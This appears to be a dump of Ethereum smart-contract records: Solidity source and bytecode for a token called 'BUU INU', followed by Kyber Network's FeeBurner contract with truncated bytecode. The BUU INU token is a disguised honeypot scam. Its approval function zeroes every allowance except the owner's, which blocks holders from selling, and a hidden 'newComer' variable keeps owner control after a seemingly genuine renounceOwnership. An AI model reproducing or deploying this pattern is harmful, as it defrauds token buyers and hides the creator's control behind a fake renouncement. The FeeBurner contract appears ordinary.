function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract BUUINU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100000* 10**9* 10**18;
string private _name = ' BUU INU ';
string private _symbol = 'BUU';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220445752d427a68b73455d5a692682a4d3227c27a597a70177ff0a9eb68023cfed64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,972 |
0x52166528FCC12681aF996e409Ee3a421a4e128A3
|
pragma solidity 0.4.18;
// File: contracts/FeeBurnerInterface.sol
interface FeeBurnerInterface {
function handleFees (uint tradeWeiAmount, address reserve, address wallet) public returns(bool);
function setReserveData(address reserve, uint feesInBps, address kncWallet) public;
}
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
/**
* @title Contracts that should be able to recover tokens or ethers
* @author Ilan Doron
* @dev This allows to recover any tokens or Ethers received in a contract.
* This will prevent any accidental loss of tokens.
*/
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
/**
* @dev Withdraw all ERC20 compatible tokens
* @param token ERC20 The address of the token contract
*/
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/Utils.sol
/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/Utils2.sol
contract Utils2 is Utils {
/// @dev get the balance of a user.
/// @param token The token type
/// @return The balance
function getBalance(ERC20 token, address user) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return user.balance;
else
return token.balanceOf(user);
}
function getDecimalsSafe(ERC20 token) internal returns(uint) {
if (decimals[token] == 0) {
setDecimals(token);
}
return decimals[token];
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns(uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
}
// File: contracts/KyberNetworkInterface.sol
/// @title Kyber Network interface
interface KyberNetworkInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(address trader, ERC20 src, uint srcAmount, ERC20 dest, address destAddress,
uint maxDestAmount, uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
}
// File: contracts/FeeBurner.sol
interface BurnableToken {
function transferFrom(address _from, address _to, uint _value) public returns (bool);
function burnFrom(address _from, uint256 _value) public returns (bool);
}
contract FeeBurner is Withdrawable, FeeBurnerInterface, Utils2 {
mapping(address=>uint) public reserveFeesInBps;
mapping(address=>address) public reserveKNCWallet; //wallet holding knc per reserve. from here burn and send fees.
mapping(address=>uint) public walletFeesInBps; // wallet that is the source of tx is entitled so some fees.
mapping(address=>uint) public reserveFeeToBurn;
mapping(address=>uint) public feePayedPerReserve; // track burned fees and sent wallet fees per reserve.
mapping(address=>mapping(address=>uint)) public reserveFeeToWallet;
address public taxWallet;
uint public taxFeeBps = 0; // burned fees are taxed. % out of burned fees.
BurnableToken public knc;
KyberNetworkInterface public kyberNetwork;
uint public kncPerEthRatePrecision = 600 * PRECISION; //--> 1 ether = 600 knc tokens
function FeeBurner(
address _admin,
BurnableToken _kncToken,
KyberNetworkInterface _kyberNetwork,
uint _initialKncToEthRatePrecision
)
public
{
require(_admin != address(0));
require(_kncToken != address(0));
require(_kyberNetwork != address(0));
require(_initialKncToEthRatePrecision != 0);
kyberNetwork = _kyberNetwork;
admin = _admin;
knc = _kncToken;
kncPerEthRatePrecision = _initialKncToEthRatePrecision;
}
event ReserveDataSet(address reserve, uint feeInBps, address kncWallet);
function setReserveData(address reserve, uint feesInBps, address kncWallet) public onlyOperator {
require(feesInBps < 100); // make sure it is always < 1%
require(kncWallet != address(0));
reserveFeesInBps[reserve] = feesInBps;
reserveKNCWallet[reserve] = kncWallet;
ReserveDataSet(reserve, feesInBps, kncWallet);
}
event WalletFeesSet(address wallet, uint feesInBps);
function setWalletFees(address wallet, uint feesInBps) public onlyAdmin {
require(feesInBps < 10000); // under 100%
walletFeesInBps[wallet] = feesInBps;
WalletFeesSet(wallet, feesInBps);
}
event TaxFeesSet(uint feesInBps);
function setTaxInBps(uint _taxFeeBps) public onlyAdmin {
require(_taxFeeBps < 10000); // under 100%
taxFeeBps = _taxFeeBps;
TaxFeesSet(_taxFeeBps);
}
event TaxWalletSet(address taxWallet);
function setTaxWallet(address _taxWallet) public onlyAdmin {
require(_taxWallet != address(0));
taxWallet = _taxWallet;
TaxWalletSet(_taxWallet);
}
event KNCRateSet(uint ethToKncRatePrecision, uint kyberEthKnc, uint kyberKncEth, address updater);
function setKNCRate() public {
//query kyber for knc rate sell and buy
uint kyberEthKncRate;
uint kyberKncEthRate;
(kyberEthKncRate, ) = kyberNetwork.getExpectedRate(ETH_TOKEN_ADDRESS, ERC20(knc), (10 ** 18));
(kyberKncEthRate, ) = kyberNetwork.getExpectedRate(ERC20(knc), ETH_TOKEN_ADDRESS, (10 ** 18));
//check "reasonable" spread == diff not too big. rate wasn't tampered.
require(kyberEthKncRate * kyberKncEthRate < PRECISION ** 2 * 2);
require(kyberEthKncRate * kyberKncEthRate > PRECISION ** 2 / 2);
require(kyberEthKncRate <= MAX_RATE);
kncPerEthRatePrecision = kyberEthKncRate;
KNCRateSet(kncPerEthRatePrecision, kyberEthKncRate, kyberKncEthRate, msg.sender);
}
event AssignFeeToWallet(address reserve, address wallet, uint walletFee);
event AssignBurnFees(address reserve, uint burnFee);
function handleFees(uint tradeWeiAmount, address reserve, address wallet) public returns(bool) {
require(msg.sender == address(kyberNetwork));
require(tradeWeiAmount <= MAX_QTY);
uint kncAmount = calcDestAmount(ETH_TOKEN_ADDRESS, ERC20(knc), tradeWeiAmount, kncPerEthRatePrecision);
uint fee = kncAmount * reserveFeesInBps[reserve] / 10000;
uint walletFee = fee * walletFeesInBps[wallet] / 10000;
require(fee >= walletFee);
uint feeToBurn = fee - walletFee;
if (walletFee > 0) {
reserveFeeToWallet[reserve][wallet] += walletFee;
AssignFeeToWallet(reserve, wallet, walletFee);
}
if (feeToBurn > 0) {
AssignBurnFees(reserve, feeToBurn);
reserveFeeToBurn[reserve] += feeToBurn;
}
return true;
}
event BurnAssignedFees(address indexed reserve, address sender, uint quantity);
event SendTaxFee(address indexed reserve, address sender, address taxWallet, uint quantity);
// this function is callable by anyone
function burnReserveFees(address reserve) public {
uint burnAmount = reserveFeeToBurn[reserve];
uint taxToSend = 0;
require(burnAmount > 2);
reserveFeeToBurn[reserve] = 1; // leave 1 twei to avoid spikes in gas fee
if (taxWallet != address(0) && taxFeeBps != 0) {
taxToSend = (burnAmount - 1) * taxFeeBps / 10000;
require(burnAmount - 1 > taxToSend);
burnAmount -= taxToSend;
if (taxToSend > 0) {
require(knc.transferFrom(reserveKNCWallet[reserve], taxWallet, taxToSend));
SendTaxFee(reserve, msg.sender, taxWallet, taxToSend);
}
}
require(knc.burnFrom(reserveKNCWallet[reserve], burnAmount - 1));
//update reserve "payments" so far
feePayedPerReserve[reserve] += (taxToSend + burnAmount - 1);
BurnAssignedFees(reserve, msg.sender, (burnAmount - 1));
}
event SendWalletFees(address indexed wallet, address reserve, address sender);
// this function is callable by anyone
function sendFeeToWallet(address wallet, address reserve) public {
uint feeAmount = reserveFeeToWallet[reserve][wallet];
require(feeAmount > 1);
reserveFeeToWallet[reserve][wallet] = 1; // leave 1 twei to avoid spikes in gas fee
require(knc.transferFrom(reserveKNCWallet[reserve], wallet, feeAmount - 1));
feePayedPerReserve[reserve] += (feeAmount - 1);
SendWalletFees(wallet, reserve, msg.sender);
}
}
|
0x6060604052600436106101875763ffffffff60e060020a60003504166301a12fd3811461018c5780630a377f3a146101ad57806322dbf6d2146101e8578063267822471461021f57806327a099d8146102325780632b84fe83146102985780632dc0562d146102b757806330125416146102ca578063384c4d2f146102dd5780633b215823146102fc5780633ccdbb281461030f578063408ee7fe1461033857806345ab63b91461035757806346b8c49e1461037657806365dfc20f1461039f57806375829def146103c157806377f50f97146103e05780637acc8678146103f35780637c423f54146104125780637f3681f6146104255780639870d7fe146104385780639fad2dcb14610457578063ac8a584a1461046d578063b78b842d1461048c578063ce56c4541461049f578063d4fac45d146104c1578063dc93f7c9146104e6578063dd3ff4f614610505578063e61387e01461052a578063ea414b281461053d578063f6486cad1461055c578063f851a4401461057b578063fd062d3b1461058e575b600080fd5b341561019757600080fd5b6101ab600160a060020a03600435166105ca565b005b34156101b857600080fd5b6101cc600160a060020a036004351661073a565b604051600160a060020a03909116815260200160405180910390f35b34156101f357600080fd5b61020d600160a060020a0360043581169060243516610755565b60405190815260200160405180910390f35b341561022a57600080fd5b6101cc610772565b341561023d57600080fd5b610245610781565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561028457808201518382015260200161026c565b505050509050019250505060405180910390f35b34156102a357600080fd5b61020d600160a060020a03600435166107ea565b34156102c257600080fd5b6101cc6107fc565b34156102d557600080fd5b61020d61080b565b34156102e857600080fd5b61020d600160a060020a0360043516610811565b341561030757600080fd5b61020d610823565b341561031a57600080fd5b6101ab600160a060020a036004358116906024359060443516610829565b341561034357600080fd5b6101ab600160a060020a0360043516610920565b341561036257600080fd5b61020d600160a060020a0360043516610a1c565b341561038157600080fd5b6101ab600160a060020a036004358116906024359060443516610a2e565b34156103aa57600080fd5b6101ab600160a060020a0360043516602435610b10565b34156103cc57600080fd5b6101ab600160a060020a0360043516610b9f565b34156103eb57600080fd5b6101ab610c3a565b34156103fe57600080fd5b6101ab600160a060020a0360043516610cd4565b341561041d57600080fd5b610245610db6565b341561043057600080fd5b6101ab610e1c565b341561044357600080fd5b6101ab600160a060020a0360043516611038565b341561046257600080fd5b6101ab600435611108565b341561047857600080fd5b6101ab600160a060020a036004351661116c565b341561049757600080fd5b6101cc6112d8565b34156104aa57600080fd5b6101ab600435600160a060020a03602435166112e7565b34156104cc57600080fd5b61020d600160a060020a036004358116906024351661137a565b34156104f157600080fd5b61020d600160a060020a036004351661142c565b341561051057600080fd5b6101ab600160a060020a036004358116906024351661143e565b341561053557600080fd5b6101cc6115ae565b341561054857600080fd5b6101ab600160a060020a03600435166115bd565b341561056757600080fd5b6101ab600160a060020a0360043516611648565b341561058657600080fd5b6101cc6118f2565b341561059957600080fd5b6105b6600435600160a060020a0360243581169060443516611901565b604051901515815260200160405180910390f35b6000805433600160a060020a039081169116146105e657600080fd5b600160a060020a03821660009081526003602052604090205460ff16151561060d57600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156107365781600160a060020a031660058281548110151561065257fe5b